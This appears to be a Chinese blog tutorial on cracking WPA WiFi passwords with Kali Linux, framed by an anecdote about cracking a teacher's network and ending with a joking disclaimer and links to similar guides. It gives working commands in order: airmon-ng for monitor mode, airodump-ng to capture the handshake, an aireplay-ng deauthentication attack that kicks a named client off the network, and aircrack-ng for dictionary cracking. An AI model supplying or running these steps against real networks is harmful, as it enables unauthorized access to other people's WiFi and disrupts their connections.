【无线安全】Kali 暴力破解 WiFi 密码步骤详解
起序:这两天在学习 无线安全
,起因是对面的老师把 WiFi
密码改了。我说: “X 老师,发生什么事了,WiFi
怎么不能用了”。X 老师说: “你们都有校园网,WiFi
就不给你们用了”。我不服气,我说: “X 老师,我能给你破解了你信不”。X 老师说: “来~”。
注意:私自破解他人 WiFi
属于违法行为,我这里使用的是自己买的 迷你版路由器
作为学习和测试。明白了破解原理就知道应该怎么防范了。
一、软件&硬件环境
虚拟机:VMware Workstation 15.5.1 Pro
Kali:kali-linux-2020.4-installer-amd64.iso
无线网卡:
RT3070
、RTL8187
等,自行选择字典:WPA.txt
二、前期配置
1、打开 USB… 服务
打开
VMware USB Arbitration Service
服务,首先是Win+R
,输入services.msc
,敲击Enter
键。
找到
VMware USB Arbitration Service
,然后启动服务就可以了。
2、加载网卡
加载网卡之前,先完全启动
kali
,然后虚拟机
→可移动设备
→你的网卡
→连接(断开与 主机 的连接)
。
点击确定就行了。
查看网卡是否加载进来了。从图片中可以看出,名为
wlan0
的网卡已经加载进了kali
中。
iwconfig
三、正式开始
1、开启无线网卡的监听模式
查看网卡是否支持监听模式。
airmon-ng
注:从图中可以看到我的无线网卡 wlan0
是支持监听模式的。如果该命令没有任何输出则表示没有可以支持监听模式的网卡。
开启无线网卡的监听模式。
airmon-ng start wlan0
开启监听模式之后,无线接口
wlan0
变成了wlan0mon
,可以使用iwconfig
命令查看,如下图所示:
2、扫描当前环境的 WiFi
网络
使用
airodump-ng
命令列出无线网卡扫描到的WiFi
详细信息,包括信号强度,加密类型,信道等。这里我们记下要破解WiFi
的BSSID
和信道
,如图中我用红色框框标记出来的。当搜索到我们想要破解的WiFi
热点时可以Ctrl+C
停止搜索。
airodump-ng wlan0mon
3、抓取握手包
使用网卡的监听模式抓取周围的无线网络数据包,其中我们需要用到的数据包是包含了
WiFi密码
的握手包,当有新用户连接WiFi
时会发送握手包。
airodump-ng -c 1 --bssid 64:51:7E:02:45:6A -w ./hack wlan0mon
参数解释:
参数 | 含义 |
---|---|
-c |
指定 WiFi 的通道(channel),不细解释,自行学习
|
–bssid |
指定 WiFi 的 BSSID ,也就是 MAC 地址
|
-w | 指定生成文件的名称 |
使用客户端连接这个
WiFi
。
可以看到这里有握手包出现:
WPA handshke: 64:51:7E:02:45:6A
。
这是启动抓包命令后,生成的文件。
4、进行 WiFi
密码的破解(跑包)
WPA.txt
是我上传到kali
中的字典文件。
aircrack-ng -b 64:51:7E:02:45:6A -w ./WPA.txt ./hack-01.cap
参数解释:
参数 | 含义 |
---|---|
-b |
指定 WiFi 的 BSSID ,也就是 MAC 地址
|
-w | 指定字典文件 |
这不闲着也是闲着,就截了个动态图。以示我是真的在做,不是 P 图。
瞅瞅,看看,结果出来了,这当然肯定是我把密码(
FFA4E9ED17
)写进去了的,不然真的要运行到猴年马月呀。
5、附加
如果抓不到
握手包
,就先把连接WiFi
的客户端踢下线,然后对方会再次连接WiFi
,这样就可以抓取握手包
了。抓取完握手包
之后就可以进行上面第 4 步的破解(跑包)了。
aireplay-ng -0 5 -a 64:51:7E:02:45:6A -c 7C:B3:7B:84:54:BC wlan0mon
6、结语
能不能
破解 WiFi
网络,完全取决于你的字典是否足够强大。本文只提供学习思路,从来没有教唆他人去破解 WiFi
,如有人举报,我不知道,我不会,我没有。请出门右拐。
如果对您有帮助,点个赞再走吧。
【无线安全】Kali 暴力破解 WiFi 密码步骤详解相关推荐
- NO.28——Kali Linux无线渗透暴力破解WIFI密码
近期放暑假在家闲来无事,前几天在手机上下载了腾讯wifi管家,意外地链接上了隔壁邻居的WIFI,但是在手机端无法看到密码明文,因此在考虑是否能通过Kali暴力破解wifi密码. Kali Linux常 ...
- 使用Kali Linux 暴力破解wifi密码详细步骤
使用Kali Linux 暴力破解wifi密码详细步骤所谓暴力破解就是穷举法,将密码字典中每一个密码依次去与握手包中的密码进行匹配,直到匹配成功.所以能否成功破解wifi密码取决于密码字典本身是否包含 ...
- Kali使用Aircrack-ng进行暴力破解WIFI密码
Kali系统使用Aircrack-ng进行暴力破解WIFI密码 一.什么是Aircrack-ng 运行环境 插入网卡设备 二.破解流程 1.进入管理员模式 2.查看网卡信息 3.杀掉冲突进程 4.查看 ...
- 如何在Windows平台用Java代码暴力破解WIFI密码
开始进入正题.在网上找了很多wifi破解工具,都是linux平台下用的,然后还不支持虚拟机装linux.因为很多笔记本装虚拟机都识别不了内置网卡.所以得把系统刻到U盘,然后用U盘启动.但是我现在穷得连 ...
- 暴力破解及端口扫描详解
一.系统弱口令检测(Joth the Ripper,检测JR) John the Ripper是一款开源的密码破解工具,可使用密码字典(包含各种密码组合的列表文件)来进行暴力破解 1.JR概述 Jot ...
- 通过Kali Linux暴力破解WiFi密码
所需工具:Kali Linux系统.无线网卡(免驱动) 需要用到的命令: #查看网卡是否支持监听模式 airmon-ng #开启网卡监听 airmon-ng start 网卡名 #扫描附近WiFi a ...
- Kali Linux破解wifi密码教程(无须外置网卡)
关键词:Kali Linux.Kali Linux新手教程 Kali Linux学习视频教程:(如失效请在公众号私信我) 链接:https://pan.baidu.com/s/1mILf-H6FsSt ...
- 自学python当黑客-用Python做黑客,暴力破解wifi密码
前几篇文章主要介绍了使用delphi开发后门及简单的远控的知识,有小伙伴说delphi已经过时了没人用了,但是笔者觉得编程语言只是实现功能的一种方式,使用你熟悉或者喜欢的语言即可. 在最近的公司项目开 ...
- 在linux系统下暴力破解WiFi密码
结论:可以破开自己的,破不开别人家的.在此献上思路,仅供学习交流. 网络上的教程说的都太学术化了,其实暴力破解,就是拿wifi字典去一个一个试,如果邻居家的密码,正好在你的字典库里,那你就能成功找到, ...
- Wifi密码破解1:通过字典(暴力)破解WIFI密码
简单破解WEP/WPA/WPA2加密的WIFI密码,平台kali-linux 工具:Aircrack-ng 过程很简单:先抓含有正确密码的握手包(客户端连接wifi的时候会互相交换报文),然后从这个抓 ...
最新文章
- DeepLearning tutorial(2)机器学习算法在训练过程中保存参数
- tcp/ip 协议栈Linux源码分析一 IPv4分片报文重组分析一
- tomcat 不支持put 高版本_「MG6_DCT280」湿式七档双离合版本-性价比并不高
- 使用Java扫描DynamoDB项目
- JAVA入门级教学之(类之间究竟有哪几种关系呢)
- vue-router之路由钩子(八)
- 英国-新加坡联合博士奖学金(人工智能、数字医疗方向)
- 华为nova 9 SE真机曝光:旗下首款一亿像素主摄 双环镜头吸睛
- 滴滴公众评议会第十一期:司机也可以评价乘客 你支持吗?
- AIR3.0针对移动设备的高性能渲染方案
- python 二进制,十进制,十六进制
- Tomcat详解(八)——Tomcat与Nginx实现动静分离
- C#中判断字符是否为中文
- app下载获取邀请码php,PHP根据id生成邀请码
- Codeforces Round #717 (Div. 2)-A. Tit for Tat-题解
- “一瞬”一词出自梵典《僧祇律》 相当于0.36秒
- apicloud总结
- 阿卡迪亚大学计算机专业好考吗,阿卡迪亚大学很烂吗
- 【如何20秒内进入XP系统】
- 传统企业如何精准获客?搭上这趟高科技顺风车
热门文章
- 使用命令卸载mysql
- java1.5_Java15下载 JDK15(Java SE Development Kit 15) 15.0.2 官方正式版 Win64位 下载-脚本之家...
- DbgView 显示OutputDebugString 输出内容 不能显示问题总结
- Android动画分类与总结
- ArcGIS创建拓扑
- 黑客帝国_屏幕保护程序
- http接口开发与调用案例
- ios实现读写锁,AFN的实现
- 基于R语言利用QQ群进行数据挖掘案例整理
- html5表格制作教程,html怎么做表格